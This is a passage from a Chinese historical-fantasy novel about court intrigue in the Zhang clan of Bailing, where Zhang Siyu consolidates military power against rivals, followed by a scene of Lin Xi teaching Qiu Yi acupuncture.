看到突至的张司宇,林兮不知自己该是用此前同辈相交的语气同他说话,还是该用张府下人的恭敬同他说话,心虚道,“我,就是先收拾收拾,书,书,书还没还你呢。”
“到白陵,一路可还顺利吗?”
“顺利。”林兮回道。
“你应在平川镇落脚一晚才是,何故急着星夜赶到都城来?”
听到张司宇对自己的行程如此了然,惹得林兮心中一激,“司宇兄,凤临一别,恍若隔世。我与河川都迫不及待,想要快些见到你。”
“我去看了,河川,你养的不错。”
林兮将《五州山河异志》奉前,说道,“司宇兄,这本书,今日也还与你,你且翻翻,可以遗损。”
张司宇粗扫一眼,撇到一旁,说道,“这上的兵刃,见了可认得出?”
林兮笑道,“你那杆冲云枪,认不出比认出还难。”
张司宇洋洋一瞬,收正脸色道,“我是说其他的。”
“前几日见一少年挎着符光剑,他虽说他不是张公子,但我敢断言,那剑一定是符光剑。”
张司宇回道,“他确不是三弟,符光剑是伯父早些年送他的。日后,待你从江心学宫学成,我引你去见他。”
“江心学宫?”
张司宇语气舒缓道,“我说过,你与其留在清农虚耗,不如来施展你真正的才华。我三叔乃江心学宫精武门座师,你可先借此脱离清农,拜到他座下习武。三年后,待你有了江心学宫的师承,再回来与我著书,我荐你入仕。”
林兮一怔,进而喜出望外,高兴得不知说些什么话感谢张司宇。
张司宇见林兮脸上无所遁形的喜色,又忧道,“孟母迁,择邻处。来年春日,我三弟天作也将去江心学宫。他自小娇生玉养,少年性嫩,江心学宫内虽多是名门子弟,但乌合众流,近墨者黑。我不能时时前去探望,还请你帮我,代为照顾他。”
林兮颇感不解,江心学宫的武功,如何能与白陵张家的武功相较,问道,“三公子家学渊源,白陵张家的剑术武道,江邑潘家的琴棋书画,样样精得,又何必去千里之外的江心学宫求学?”
“你也说了,样样精得,便是玩物成性,白陵张家的儿子,哪有这副模样的。还不如到江心学宫去,踏踏实实地练功夫去。”
“三公子自己的意思?”
“长兄如父,他去也得去,不去也得去。”
林兮心中说不出的滋味,羡慕,同情。羡慕张天作生在一个好门第,江心学宫不仅融地方太学之长,是求之也难入之地。对张天作而言,只是一个决定,就好像决定要吃什么饭,穿什么衣那么简单。
同时,也极为同情张天作,因为他只是这份决定的执行者,而非决定者。心想,这张天作纵是望族之子,但也未必事事都顺心如意。
张司宇缓缓又道,“天作此去,还会有一个人同行。他叫陈雅安,你试着和他相处一下,也许他就能同你相处得来也说不定。”
林兮大疑,相处得来也说不定!可见,这个人是和大多数人都相处不来的。“少主洗马陈大人?”
“不错,他在天作之合馆待的时间久了,该出去散散心了。”
林兮微微点头。
“准备何时启程回云间?”
林兮见书马俱还,还可入江心学宫,心思飞摇得厉害,恨不能立马奔回云间城告诉邱怡和徐照,“明日一早便走。”
“明早,你到摘星阁来,我先带你见见三叔。”
林兮颜开,“好!”
张司宇想了些什么,用着微含歉意的语气说道,“林兮,明日我就不出城送你了。”
他也不知道,现在的白陵城,在他看不到的地方,究竟有多少双眼睛在盯视自己。
19. 暮云降
翌日清晨,旭日初上,张鹏初见林兮,见他英洒之姿,如东升旭日。本大喜,奈何细问过后,听出张司宇是要借以江心学宫来掩其清农出身。
心中不禁惊凉,暗觉张司宇这般行径,无异指鹿为马。碍于他副主之名,勉强同意收下林兮。
林兮向张鹏行过拜师礼后,便骑回他的那匹青马回往云间城。
张司宇于城楼上,目送他去。
司揽天地,宇内乾坤。
身后的白陵城,风云变幻,白陵城混入了江邑来人,墨白城更是牝鸡司晨。
张司宇孤心决绝。
身上流的血代代相承,男儿雄心内,张云冲、张云盈、张鸢、张鸷,这些曾令他身血磅礴的名字一直都在,他们的路,张司宇都想走一遍。
张司宇缓缓闭目,遐想着,未来的一段岁月中,无论明斗还是暗较,他都不想不谙世事的三弟亲面一个个血光的场面,不想有损自己的兄长形象。
陈雅安,张司宇最想征服的那个人。他就像是一只桀骜的孤岭之鹰,杀不得,只能硬熬,消磨他,击垮他,驯服他。
回到北极宫君侯府后,张司宇叫来张天作,同他提起要送他去往江心学宫一事。
“二哥,我不想去。”张天作直截了当道。
张司宇挑了挑眉看向他,语气很不容商量,“好呀,给你两个月,打赢我,就可不去。”
张天作抿嘴仰望着摆出兄长威严的二哥,莫说两月,纵然两年,也难比上二哥的一点点。
“张司宇,你这就欺负人了。我和天作联手,都非你的对手,你叫他怎赢得了你?就让他在家慢慢练,慢慢跟你打吧。”一旁的楚英护到。
张司宇拉来三弟,语重心长对他说道,“天作,不是二哥苛刻。白陵张家,以武立家,代代如此,怎到你这就成了例外?昔年伯父在时,便日日要求你练武,如今二哥闲不出空教你,才不得不让你去跟三叔练。”
张天作对着如父亲般严苛的张司宇,心鼓槌得厉害,甚至不再敢直视,只嘀咕道,“二哥,我不想走,今后再勤勉些就是。”
一位绰约贵气的夫人正进摘星楼,见到爱子委屈的模样,圆场似的说道,“司宇,听说,你要将天作送去江心学宫习武?”
张司宇抬目,望着雍容华贵的伯母,和她身后那位面容俊冷的黑袍男子。那才是他的真正目标,送走张天作不是目的,最主要的是,将那处处都可对自己使绊的陈雅安送出白陵。“侄儿正有此意,伯母意下如何?”
“你让天作上江心学宫学武?说出去,叫人如何议论?”陵侯夫人说道。
“伯母高见,侄儿亦有此虑。幸而三叔在江心学宫精武门为师,天作去了,倒也不必拜师学外面的功夫,跟着三叔练好张家剑法就行。”
陵侯夫人见张司宇依是说辞满满,只得含糊道,“你考虑倒是周全,可天作到底年纪轻,身子骨弱,过些年再送好了。”
张司宇回道,“伯母,玉不琢不成器,侄儿像他这般大时,就已独上凤临了,这不也全须全尾的回来了吗?”
陵侯夫人咬着牙回忆这令她后悔的一个决定,送走的是只牛犊,回来的却是猛虎。张司宇不知有什么吸引力,竟可使太子下令,将作为质子的他送回白陵。
还有与他同回的六皇子,终日带着符光剑在墨白城内外行跃,一抹红衣身影惹得她极度眼晕。
“天作若是有你一半的能耐,我也就不担心了。”陵侯夫人说道。
张司宇微微侧目向张天作,“送都未送,您怎知道三弟不行?少主和天作都是伯父的孩子,以少主的天资来看,天作自然不会差。只是终日在天作之合馆里抚琴抚得多了,忘了剑是怎么摸的。”
陵侯夫人视着自小因为练武叫苦连连,常弄得一身小伤小病的张天作,既心疼又不敢劝拦夫君不要对儿子那般严苛,无奈道,“既然如此,就让楚英陪着一起去吧,也好有个照应。”
楚英正欲应声答允,张司宇冷光一闪,“不必了,三弟自己去就好。到江心是去习武的,不是去做什么公子少爷。”
陵侯夫人不悦,听闻金玉堆中长大的儿子竟要孤身去千里外习武,一路山险,连个随从都不许带,和当初“发配”张司宇到凤临异曲同工,赶忙道,“天作是你弟弟,你何苦这般苛待?”
张司宇撇向一直在其身后不语的陈雅安,威声道,“侄儿虽侥幸胜了冲云之战,但深知修为不及先贤,纵然做了白陵上将,也是惶恐难安,实不敢与叔祖、伯父比肩。张家素来是武高者才算得是真正的战神上将,若有人能胜得了侄儿,侄儿定退位让贤。”
陵侯夫人语噎,却又无奈他何。
夫君和女儿外出寻剑,至今未得消息,按理,今后家族重担,都将落到爱子身上。张司宇这一出,无异于是对白陵君侯之位明目张胆的觊觎。
张天作更为不悦,母亲已经让步,同意他去江心学宫习武,不想二哥竟不许他带人随行。
白陵到江心学宫,最快的马也要半月功夫,这一路如果遇到什么人多势众的山贼强盗,该如何是好?不仅如此,路上的衣食也无人照料……越想越是抗拒,越想越是不愿。
离开张司宇处,他心中甚是憋闷,原本惬意的生活突然被打断,而将面对的,却是一个人背着小小包裹、骑着瘦瘦弱马南下求学的身影。
看着正在整点行囊的潘家表亲,忽生了个主意——混到潘家人中,偷偷离开白陵,去江邑舅父家躲躲,江邑路远,车马行进的时间更是慢,到那边时,已经快到年尾了。
二哥新任,开年必将大庆,是绝不可能得空到江邑去捉他的,等过完年,再回到白陵同二哥认个错,这事也就遮过去了。
越发觉着自己想了个好主意,急忙叫楚英和陈雅安帮忙收拾出两大箱细软。翌日一早,告别母亲后,就钻入潘家公子的马车,溜了。
张司宇是摸着张天作脾性长大的,早早料定他会闹一出离家出走,特意赶在潘家一行离开墨白城前,逼喝一番。
立城楼上,看着潘家车马出城后,张天作探出马车,回望白陵城的小脑袋瓜,正中下怀,还不禁暗笑,“天作,你可何时才能长大。”
潘家车队渐渐没于山际,张司宇回身俯瞰白陵城,平
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静得无一丝波澜,显不出一丝危险信号。
他故作不知张天作离城一事,直至送离张鹏和六皇子出白陵都城,他才回到墨白城请人去传张天作,楚英走到张司宇面前,告知未寻见张天作,禁军也未发觉他是何时出的墨白城。
张司宇呵斥禁军办事不利,责过楚英后,按部就班请来五军主帅姚都督,命他派人寻找张天作。
姚都督起初派了百十号人换上常服,在白陵都城内寻。首日,未寻到人,张司宇气急,命他一定要找到张天作。次日,姚都督加派人手,在城内逐街搜索,两日后仍不见张天作踪迹,张司宇再度大怒。姚都督知他是新官上任三把火,不敢懈怠,将近半守城军士调来,在白陵城挨家挨户寻访,却依旧没有一点三公子的消息。
三次寻人,都有一些兵士没有归营。
姚都督梳理失踪兵士的名单,心中一惊,去往北极宫摘星阁向张司宇请罪。张司宇听后,掏出一本名册,上面写满了姓名。
姚都督接过名册,大致描了一眼,这几日未回营的士兵皆数在列,另还有两百多人,也是近一年投效的,即刻跪地,大声道,“二公子恕罪。”
张司宇眼中闪过一道厌色。他已下过令,命人称呼自己为“上将”,眼前这位追随陵侯十多年的老人,却不愿改口。
“姚都督,这一年白陵来了许多江邑人。这些江邑人到白陵,不务农,不经商,偏偏那么巧,都跑你营里去了。如果你现在才告诉我这是巧合,我可不信!”
“二公子,营里人马来路虽异,但他们都是为白陵效力而来。”
张司宇睥着他,忿道,“为白陵?你姚远舟告诉我你是为白陵效力我信!这几日你营里丢的那些人,若他们现在还张得开口,你去问问他们后不后悔来为白陵效力?”又气戳戳地指着那份名册,“这上面的人,要不要本将现在同你去营里,挨个问问,他们到营里是为了白陵的谁在效力?”
姚都督心下犯了嘀咕,张司宇才回白陵不足一月,怎对营里的人事,比自己还要清楚。
张司宇起身,上前扶起姚都督,说道,“姚都督,如今的白陵城已经和过去不一样了。伯父在时,我们白陵城自是上下一心。如今,他老人家撂下这么个摊子,自己逍遥去了,你看,单单你这营里,一年内就进了几百个江邑人。我真不敢想,以后的白陵城,会乌烟瘴气成什么样。”
“二公子,少主年幼,夫人自要帮衬着些,君侯待我恩重,我万万不敢有负君侯。”
张司宇心顿,姚远舟是白陵都督,在营里颇有声望,又跟随伯父多年,他知这人不会轻易倒向自己,冷声提醒道,“少主是年幼,但也姓张,不姓潘。”
“是,那是自然。”
“我也姓张。如果,你可以把这些人解决了,今后的白陵城,还能继续跟着伯父姓张。”张司宇敲着那名册说道。
姚都督知张司宇对君侯一家来势汹汹,但那名册上的人,即使他不解决,以张司宇咄咄的气势,他也会想定办法解决。一番考量过后,姚远舟决定先改口安抚住这位新任上将,“敢问上将,三公子现下在何处?”
20. 逐天际
听着姚远舟改口后的称谓,张司宇亦不再藏着掖着,直言道,“他啊,前几日坐着潘俊乔的马车,随他去江邑了。”
姚都督听到张天作无事,心松了一截,又回过味儿来,这张司宇的雷厉,太像过去的一个人了,“这些人,属下会多留意的。他们应生不出什么乱子。”
张司宇审度着这位仍护旧主的老奴,威胁道,“天作,现在还没出白陵的地境呢。你是希望你的人把他找回来,还是希望我的人去把他找回来?”
“这……”姚都督忐忑着。
张司宇端目正视,“姚都督,无论你的人,还是我的人,都为一个义字聚到一处儿的。司宇想看到的,也是如此。为义聚到一起,心才能往一处想,劲儿才能往一处用。这名册上的人,纵是心中有义,那跟我们白陵的义能一样吗?”
姚都督突屈膝跪地,“敢问上将,这些人该如何处置?”
“发到北边极遥、极川的营里吧。今后军中,江邑来的,一律不准收。招江邑人氏入营者,格杀勿论!”张司宇说道。
极遥镇和极川镇在白陵境内最北之处,也是邺国最北的两个镇子,苦寒异常。
“是,属下这就去办。再命人去将三公子请回来。”
张司宇回道,“随他去吧。终日在墨白城待着也是闷,让他到江邑娘舅家过个年。”
姚都督锁眉,猜测着张司宇是不是会对张天作不利。
张司宇又道,“天作他也姓张,是我的弟弟。”
张司宇口口声声的姓张,口口声声的义。姚都督想到他儿时跟随君侯的模样,孝顺、听话,一时选择暂且相信张司宇。但回到营后,还是派出一队快骑,换做商队打扮,命他们悄悄追上潘家车队,护送他们安全出了白陵地境。
姚远舟作为白陵五军都督,手中握有北都十万大军节调之权,地位不容小觑。不仅张司宇,陵侯夫人一党对他亦是颇为重视。
陵侯夫人听闻苦心安插进军营的人手,失踪的失踪,调离的调离,无一幸免,极为恼怒,请来陈雅安商议。
陈雅安听后,“夫人,您太着急了。这些人未经训练,到白陵来没几日就投营去了,很难不被察觉的。”
陵侯夫人不甘道,“家兄辛苦选来的人,那张司宇才回来一个月,都被他撤了。你去,把他们都调回来。”
陈雅安说道,“夫人,兵贵精,不贵多。经此一遭,张司宇定不会再让他们回来了。肯把他们送去极遥,已是留情了。”
“可守城军中,不能没有我们的人。”
陈雅安忖了忖说道,“张司宇此番回到白陵,桩桩件件,分明是向着您来的。他不会像从前那般听话了,依我看,我们的人很难进到营里去了。”
“无用!”
“夫人莫急,禁军尚在我们手中。”
陵侯夫人舒缓了一口气。
陈雅安又道,“广积粮,高筑墙,缓称王。您是陵侯夫人,少主之母,任张司宇再是嚣张,陵侯旧属们,也断见不得他欺您孤儿寡母。唯今之计,在于一个忍字,至少要等禁军更加强大些。”
“四千禁军,还能如何强大?”
陈雅安琢磨了下,说道,“禁军定额,祖制难改,但您忘了?这禁军中,神枢营向来以一当十,我们只需再寻几个将领的苗子,壮大神枢营。那张司宇既然让三公子去江心学宫,不如就将计就计,让三公子以白陵张家的名义,在那儿交些人回来。年尾时让楚英去江邑,送三公子去江心学宫。”
陵侯夫人眼色一沉,“不,你去。”
“我?”
陵侯夫人肯定道,“对,你去江邑请天作。家兄在那边新聚了伙人,你去掌掌眼,选些好的来。”
“这……”陈雅安犹豫了下,“也罢,我去看看也好,免得送来的又是群废物。”
陵侯夫人微微不悦,“你眼光高,能入你眼的,怕也没几人。”
“我这一去,快则也要两个月才能回到白陵,想楚英也能应付得来。”
陵侯夫人心忧,“天作走的急,你去江邑时务必帮他置办好去江心学宫所用之物,张司宇既不允楚英陪同天作上江心学宫,你再从兄长手下选两个机灵的出来,带到江心学宫照料天作。”
陈雅安轻轻点了点头。
虽登高位,但比起有实无名的陈雅安,张司宇这战神上将还仅是个虚衔。
而今,白陵百官百态,或安于现状,或如墙头草,时刻观望着五军都督姚远舟的动向。
张司宇默默盯着外祖写下的一串姓名,上面尽是外祖的门生,亦是今后要启用的可塑之才。张司宇很是清楚,在拥有一支武力前,很难将这批人正式推入白陵朝局中心。
然而,从他和姚都督的第一次对峙来看,姚家一时是不会投诚的,亦将目光锁定到了禁军。几番越过禁军大统领楚英,接触其下属诸营的统领,却发现陈雅安早已是严防死守,不给一点可乘之机。
张司宇走到桃李苑前,掸了下袖口,叩响大门。
这处桃李苑既是外祖顾友庭的居所,也是张司宇少年读书习文的地方,这里住着墨白城中,心里只有他的人。
开门的却非顾友庭,而是一位衣衫儒雅的男子,看着不过三十岁的样子,“见过二公子。”
张司宇颔首示意,走进屋内,见外祖端坐在案边捧着书读,身旁茶碗正冒着白气。
张司宇拱手长揖,云袖垂落,“孙儿见过外祖。”
顾友庭抬头瞬了一眼,示意张司宇与那中年人一并落座。
中年人见张司宇似乎有事与顾友庭相商的模样,拜别道,“良臣先行告辞,得空再来拜访恩师。”
中年人离去后,张司宇方缓缓开口,“他就是魏良臣?”
顾友庭轻点了两下额头,边为张司宇斟茶边道,“我在司吏衙门时,良臣就是我身边的侍童了,我离开后,他就接替了我的位子,时至今日,不仅对百官诸事早已了然,还懂农事,晓民生,却仍能不骄不躁,踏下心来做个文书,很是难得。”
张司宇想着外祖写下的名单,不仅将魏良臣的名字放在首个,还有意提过他多
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年不得提拔,本以为他会是个闷抑沉沉的,不想确是如此清平如泉。
张司宇道,“外祖,你给到的那些人,孙儿多少了解了下,刘俊、严固,这二人虽有真才实学,却无家世背景,贸然启用,很难不被陈雅安注意到。”
顾友庭道,“莫要急出头,白陵各路世家子早已将朝中势力划分得干干净净了,你若想在他们当中分一杯羹,必得慢慢培殖自己的势力,徐缓图之才是。”
张司宇迟疑了下,“孙儿虽有法子将陈雅安调走一段时日,但也不是长久之计,孙儿必得趁他离开白陵的时日,彻底稳固住局面才是。不然,一切终将是徒劳。”
顾友庭道,“司宇,陈雅安只是狐假虎威,可他身边的那些世家子弟才是重点,孟家门庭赫奕,肖家树大根深,沈家、崔家,各个都可助你先站稳脚跟。你何不仿效陈雅安,先取得世家的支持?”
张司宇道,“孙儿当然明白,可这世家与世家不同。肖垂一门戍守北境,虽不在朝中结党,但也是白陵柱石,可那孟家人、沈家人呢,说他们是蛀虫还差不多!司宇恨不能除之后快,岂可与这群人同流合污?”
顾友庭面露忧色,“司宇,他们是蛀虫不假,可你想过吗?这蛀虫都是抱团长的,你一把火烧不净,所有的蛀虫都可能带着火苗扑向你来,最后只能落得个引火烧身。”
“烧?”张司宇讥诮道,“谁说要烧他们了?这蛀虫傍树而长,大树若是不在了,这群烂虫还能活下不成?”
顾友庭面颊轻颤,“孟樊高居右相之位,其弟孟伦乃白陵大司吏,其子孟常悠任白陵司农,这白陵上上下下哪一位官员任免不要先在孟家门内投个名?沈家两位兄弟,一为东军统帅,一为白陵司马,他二人身后还有姚远舟这棵大树靠着。崔家,世代与张家、孟家结为姻亲,别忘了,你的祖母也是出自崔氏,官府衙门中,多少姓崔的人身上流着张、孟二氏的血,你觉得哪个是能轻易动得的?”
“崔?我呸!崔家人最是趋炎附势,只认伯父一脉,几时将我放在眼里过?”张司宇激动回道。
顾友庭递上茶碗,“那也急不得。”
张司宇接来,五指紧抠茶碗,心中越想越不畅快,扬起茶碗朝外一掷,咬牙切齿道,“有朝一日,我定要将崔家贬得狗都不如。”
这时,听门外有人问道,“顾老先生,您这可是有事?”
张司宇一惑,看着摔到院内的茶碗,知是适才摔碗的动静惊动了过路禁军。
起身走到门处,对着两位禁军兵士道,“是我在。”
两位禁军看是张司宇,问候道,“见过二公子。”
视线扫过,张司宇看其中一位疤面兵士脸熟,试着唤了一声,“王猛?”
那人愣了下,道,“二公子有何吩咐?”
张司宇不假思索地摆了摆手,示意他上前,“我正要与外祖挪下桌子,不慎被茶水烫了下,你过来搭把手。”
王猛对身旁人道,“李寒,你带着他们先去那边巡查。”
说后,便随张司宇进了屋。
21. 倾细故谋新事
张司宇指着顾友庭身边的桌案,示意王猛搬到里屋去,顾友庭虽感意外,但还是起了身,唤王猛过来帮忙。王猛见那桌儿不大,收走桌上的茶壶茶碗,一人端着两条桌腿将桌案抬进了屋。
两年多前在极遥营中时,张司宇便对对生性直率不挠的王猛印象深刻,他在百夫长手底下吃了不少苦楚,眉尾那道斜切入鬓的疤痕,便是因此落下的。
王猛搬好后,张司宇问道,“王猛,你怎到禁军中来了?”
王猛道,“说来也巧,二公子,您还记得李寒吗?”
张司宇想了下,“可是当年给伯父送鹰的李寒?”
王猛点了点头,“不错,就是他,那小子捉来的幼鹰,君侯见了喜爱得不得了,当场提他入了禁军。他是我的内兄,知我还总被那徐恶人刁难,就求陈百长将我也调了来。”
张司宇淡淡一笑,“你调到墨白城来,也不跟我说声,徐百长下手没轻重,我离开后还总担心你,这不,上两日还遣人去极遥给你送衣物和创药去了。”
王猛愣了一瞬,急挥手道,“这,王猛粗人一个,怎值得二公子如此记挂。我一年前就到了禁军,如今已在陈百长手下做伍长了。”
“陈百长?”
王猛点头道,“对,就是陈春山陈百长,他可是禁军数一数二的箭手,跟我一般年纪,凭着一手好箭法,已经坐上百长位子了。陈百长是个真性情的,听李寒说了我的事后,当即就答应把我调来禁军,一文钱没问我们要。”
张司宇笑了几声,打趣道,“王猛呀王猛,千金易得,良将难寻,如果我听到人说极遥营有你这么个能拼善战的人在,就是让我许以重金,我也觉是值得的。”
王猛不好意思地笑了下,“二公子哪里的话。要说这良将难寻,说的也该是二公子您才是,前几日冲云之战我们可都是听了,连陈百长都说,二公子您这样的好武艺,没做个将军真是可惜。”而后,好像想起什么,“这么说,我如今也该称呼您一句上将了才是。”说着站起身,朝张司宇恭敬一拜,“卑职王猛,见过白陵战神上将。”
张司宇含着笑意点下头,请他落座,说道,“莫打趣我了,你也知道的,我受父辈所累,是很难进军营领将带兵的。”
王猛默了默,听张司宇继续道,“王猛,帮我办件事可好?”
王猛自不会推拒,两人附耳低谈过,他便告退回到武德司校场,见陈春山正拉弓练臂,附在他耳边说了句,“陈百长,顾老先生要重新归置下桃李苑,想请您过去搭把手。”
少顷,张司宇见王猛真将陈春山带了来,陈春山身后背着张锃亮锃亮的黑弓,一看便是精心养护的。他故技重施,命二人将桃李苑内桌椅柜架通通重摆一番,顾友庭又沏了壶茶,笑呵呵唤来二人歇息。
张司宇看陈春山无论搬物,还是喝茶,弓不离身,好奇问道,“陈百长,你是在哪位将领的麾下?是李蒙还是许自山?”
陈春山叹首道,“二公子说的尽是神枢营的将领,末将哪有那般机会,可进得神枢营。如今是跟在摇光营韩副统领手下做事。”
“摇光营?”张司宇轻轻质疑了一句,而后歉声道,“司宇失眼了,看你背着张弓,还以为你是神枢营的将军。”
陈春山惋惜道,“末将确实参加过神枢营的考核,可考较三箭定靶时,末将射出第三支箭前,弓弦突然断了,陈大人说末将不善骑射,便以此为由取消了末将的资格。”
张司宇视着他的黑弓,轻飘飘笑道,“我看你这弓保养得极好,定是日日精心养护的,这弦怎么会断呢?”
陈春山不甘道,“说起此事我就憋闷。我前两箭射得好好的,到第三箭时,陈大人让我换他的柘木弓射。可他那张弓,看着就糙皱,弦更是像树皮一般干裂,显然很久没碰过了。我也是大意,心想那日手风极顺,再换张弓也无妨,谁知那弦稍一拉就绷断了,陈大人便指责说这是我的不是。”
张司宇眼底的光渐渐沉下来,知这是陈雅安设下的考题,只道,“时也,命也,陈春山,你就当是天将降大任前的一番历练罢。”
王猛为其抱不平道,“若真比射箭,就是碰上神枢穿杨手的许统领,陈百长都未必会逊他,可偏偏被使了绊子。”
张司宇反问道,“哦?真的?”
“那当然了。”王猛回应道,“上将,不是我说大话,陈百长的箭就跟生了眼睛似的。有一日我们几个值夜,听门外有动静,出门一看,黑漆漆的一片,什么也瞧不见,陈百长挽起弓来朝树下射去,竟射回两只黄鼠狼来。”
张司宇环桌视起,口中赞道,“视夜射物都能如此熟稔,看来陈百长真是被人算计了。摇光营的统领是谁?怎不去帮你讨个公道呢?”
陈春山闷不出声,王猛道,“上将,您知道我们说的陈大人是哪个吗?”
张司宇点点头,“我怎会不知道他?白陵洗马,陈雅安,他最是喜欢小题大做了。”
王猛低声道,“他可是少主身边的红人,连楚大统领都对他言听计从的,我进禁军的第一天,李寒就叮嘱我说,千万不要惹陈大人的不痛快。”
张司宇看每谈及陈雅安,陈春山总是一股欲言又止,朝顾友庭使出眼色。
顾友庭意会,慨然道,“墨白城真是越来越乌烟瘴气了,亏得神枢营号称是白陵第一营,连考察新兵这样重要的事,都有人胆敢公然指鹿为马,混淆是非。”
张司宇搭音道,“外祖,您也听到了,这是陈雅安的意思,大家总不能当面指出他的不是,让他下不来台。公道自在人心,您看,即使陈百长没有进到神枢营去,但他的箭技可是人人称道的。”
顾友庭质道,“难道连你也是这么想的?正是因没有人敢将说句公道话,随波逐流,漠然视之,才将真正的公道埋没了。”
张司宇急忙起身,垂头拱手道,“孙儿不敢。”
顾友庭继续道,“司宇,你若非做了白陵上将,我也不会跟你说这些,要记住,从你做了白陵上将那一刻起,你就是墨白城的第二个主人,如果连你也不能为陈百长澄明此
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事,你觉这墨白城内,还有谁会还陈百长一份公道?”
陈春山很是意外。
张司宇歉声道,“外祖恕罪,孙儿实在无能。孙儿做这战神上将,并非想做什么第二个主人,只是希望伯父和少主顾念孙儿护卫冲云之功,保得我们祖孙二人在墨白城内的平安。但若要孙儿强行去过问禁军中事,孙儿,孙儿并非对自己没有信心,只是担心会连累了外祖您。”
顾友庭道,“你我祖孙相依为命,谈什么连累不连累的?”
陈春山插话道,“顾老先生言重了,进不了神枢营是我的命。二公子说的是,陈大人向来是容不得质疑的,如果他听到二公子为我说情,恐怕真是连累了您和二公子。”
顾友庭回道,“老朽若不知此事便罢了,既然知道了,断不会眼睁睁看你蒙受这不白之屈。”
张司宇看陈春山已然开始松动,寻机再补上了句,“外祖,孙儿实在不明,外祖同孙儿一般,今日才认识的陈百长,为何要冒着得罪人的风险,如此执意要为陈百长讨回公道?”
顾友庭道,“司宇,己所不欲,勿施于人。两年前,我得知你要被送去做质子的消息时,心里急得跟什么似的,求天告地,在陵侯夫人的门外长跪不起,可那又如何?还不是独木难支?除了我这把老骨头,根本无一人愿站出来,为你说情,你可知道,那时我是什么样的心情?司宇,外祖年纪大了,身边就你这么一个亲人,是真的怕你这一去,就再看不到你了,往后连个送终的都没有。”
顾友庭越说越急,眼睛亮得惊人。说得王猛不由得想起张司宇在极遥营中的情形,那时的张司宇衣食待遇与底层兵士无二,也同他们一样,要冒着漫天风雪卧冰操练,若不是听人说起,他断不会将他与白陵张家的尊贵公子联系到一处儿。
张司宇搀住顾友庭的手臂,“外祖,过去的事,还提他做什么。孙儿这不好好的回来了吗?还能像过去一样,在您身边尽孝。”
顾友庭气急败坏,一下挥开张司宇的手,“我跟你说了这么多,你还是不明白。你是回来了,你父亲呢?”他颈间青筋隐约浮现,嗓音激动道,“司宇,当年你伯父逼走你父亲时,不也是这般情境?”
张司宇哽咽两声。
顾友庭继续颤着声道,“鸷儿走了一十四年,墨白城内,已经有一十四年没人再提过他的名字了。如果当年愿意有人为他说句公道话,也许,他就不用离开了。司宇,枉我以为你经历过那种被人打压,叫天天不灵,叫地地不应的境况,定能明白别人受委屈时的心情,没想到还是块儿朽木。今日,你若对陈百长的事冷眼旁观,那么他日,你父亲真如你所愿回来了,被你伯父伯母拒在墨白城外,不允他登门,你就怨不得他人冷眼旁观。”
“孙儿怎么会忘?”张司宇长叹一气,站起身子,走到顾友庭身旁,向他郑重一跪,拱手道,“请外祖放心,待孙儿了解清来龙去脉,必亲自去武德司为陈百长讨要个说法。”
这句话落进陈春山耳朵里,像块烧炭,烫得他耳根发麻。
22. 诉衷肠
说回林兮。
白陵的冬,冷得他不想在外多待一刻。
他一出都城,便快马纵驰,可眼下毕竟不再是雪龙骏代步,一路紧赶快行,还是于半月后到达云间城。
到云间城那日,正逢十五市集,街上人流川行。林兮下马牵绳,步回清农学堂。但见学堂空空,料想同窗们应是去集上玩耍。
安顿好后,倚着窗檐,瞄起邱怡紧闭的房门。
心中那带涩的回忆又颤了出来。
邱怡自小在山林中长大,接触的人本身就少,清秋月夜,自己莽撞和突兀的言语,多半是吓到她了。哪怕到了今日,二人相伴时日未逾一载,她接连经历丧父与离乡的苦楚,哪会有心思思量儿女之事?
何况她,虽看起来弱不禁风,但从那日日钻研医书的韧劲儿,也能猜出,她骨子里定是极要强的,对如意郎君,定也要求甚高。而我又有什么,值得她刮目相看的?
林兮正难禁地怅惘着,却看邱怡的房门突然打开了。飘忽的目光一下撞进邱怡清然的眸底,心下不由一滞,紧地佯作要关窗的假象。
合上窗叶,又轻轻扒开中间那道小缝观察着外面,却见邱怡正朝自己的房间走来,每靠来一步,林兮的心就跟着怦地跳一下。
登。登。登。
听着那敲动房门的动静,林兮不知措地去开了门。
门外,是一张浅淡的笑脸。
“林兮,你回来了。”
浅甜的声线飘进耳廓,林兮像守不住心神似的,不受控地为适才的偷窥行径,强行辩解道,“我正想去找你呢。”
邱怡借空走进房内,坐在小凳上,随口道,“找我什么事?”
林兮忙不迭回道,“没什么,就是看你房门关着,以为你去街上逛了。”
邱怡听着那前言不搭后语的话,问道,“今儿是什么特别的日子吗?连徐照先生都跟着就出去了。”
林兮道,“今儿是十五庙集,外面很热闹的,我正也想去逛逛,要不要一起?”
邱怡半屈起身,微微摇头,“我还有些书要读,不奉陪了。”
意料之中的答案,因为林兮也发现了,邱怡她除去回房,几乎没迈出过药房的大门,更遑论去到什么人多热闹的地方。
“不去也好,天凉下来了,外面风大,你这身子受不住的。”林兮说着,顺手想将门带上,可又一想,孤男寡女同处一室,大闭房门,终是不妥,于是便停在原处,问道,“你冷不冷?”
邱怡重新坐回凳上,目光飘落门外,叶落枝枯,云间虽是入了冬,可也远比不得北境霜寒。
她长大的白陵,往往才十月露头,就飘起了雪花,不像云间,听说一年到头都未必能见到两场雪来,淡淡回了句,“尚好。”
林兮悻悻道,“你不觉冷就好,找我来可是有事?”
邱怡微微一怔,“我这几日在练习行针,本想请你来指点一二。可你既要去街上,那便等回来再说罢。”
林兮眉色一扬,不住应道,“谁说我要去了?行针是吧?来,拿我练便是。”说着,撸起衣袖,将一臂端到她前。
邱怡朝屋内扫了眼,“幻医正尚未给过我行医要用的针,可否借你医箱一用。”
林兮连连点头,取来医箱。但见邱怡拾起枚针,别于指间,对着林兮腕心就是一刺,动作不仅一点不拖泥带水,反是迅捷异常。
林兮边笑边拨出金针,“你这儿跟发暗器似的,哪是给人行针的?”
看着林兮笑得跟什么似的,邱怡暗自抿了抿嘴角,“徐先生又没教过,我哪里知道的。”
林兮持起针毫,抵着自己腕间探游开来,“看仔细了,这是探穴,找准位后,先一气扎进,而后再慢慢捻着上端开始留针。”
邱怡仔细观摩着,不忘再捻根金针来,仿起林兮的手势,三指捏住柄端。
“还是不对,你这攥得太僵了。”林兮说着,就松开手中的针去纠正她,伸出的手忽在半空一停,对着她小心翼翼地问道,“可以吗?”见她点下头来,才放心将手递了去,调整起她的指姿。
看她逐渐领会提插捻转的要领,遂将整条手臂端到她身前,“来,试着灸下手三阴经试试,让我瞧瞧你找穴可准。”
邱怡轻点过额头后,就对着林兮臂内行起针来,不仅行针穴位准确无误,连每个动作都是稳而不僵,灵而不虚。
令得林兮心中一阵唏嘘不已,天底下竟有得这么聪明蕙质的姑娘。
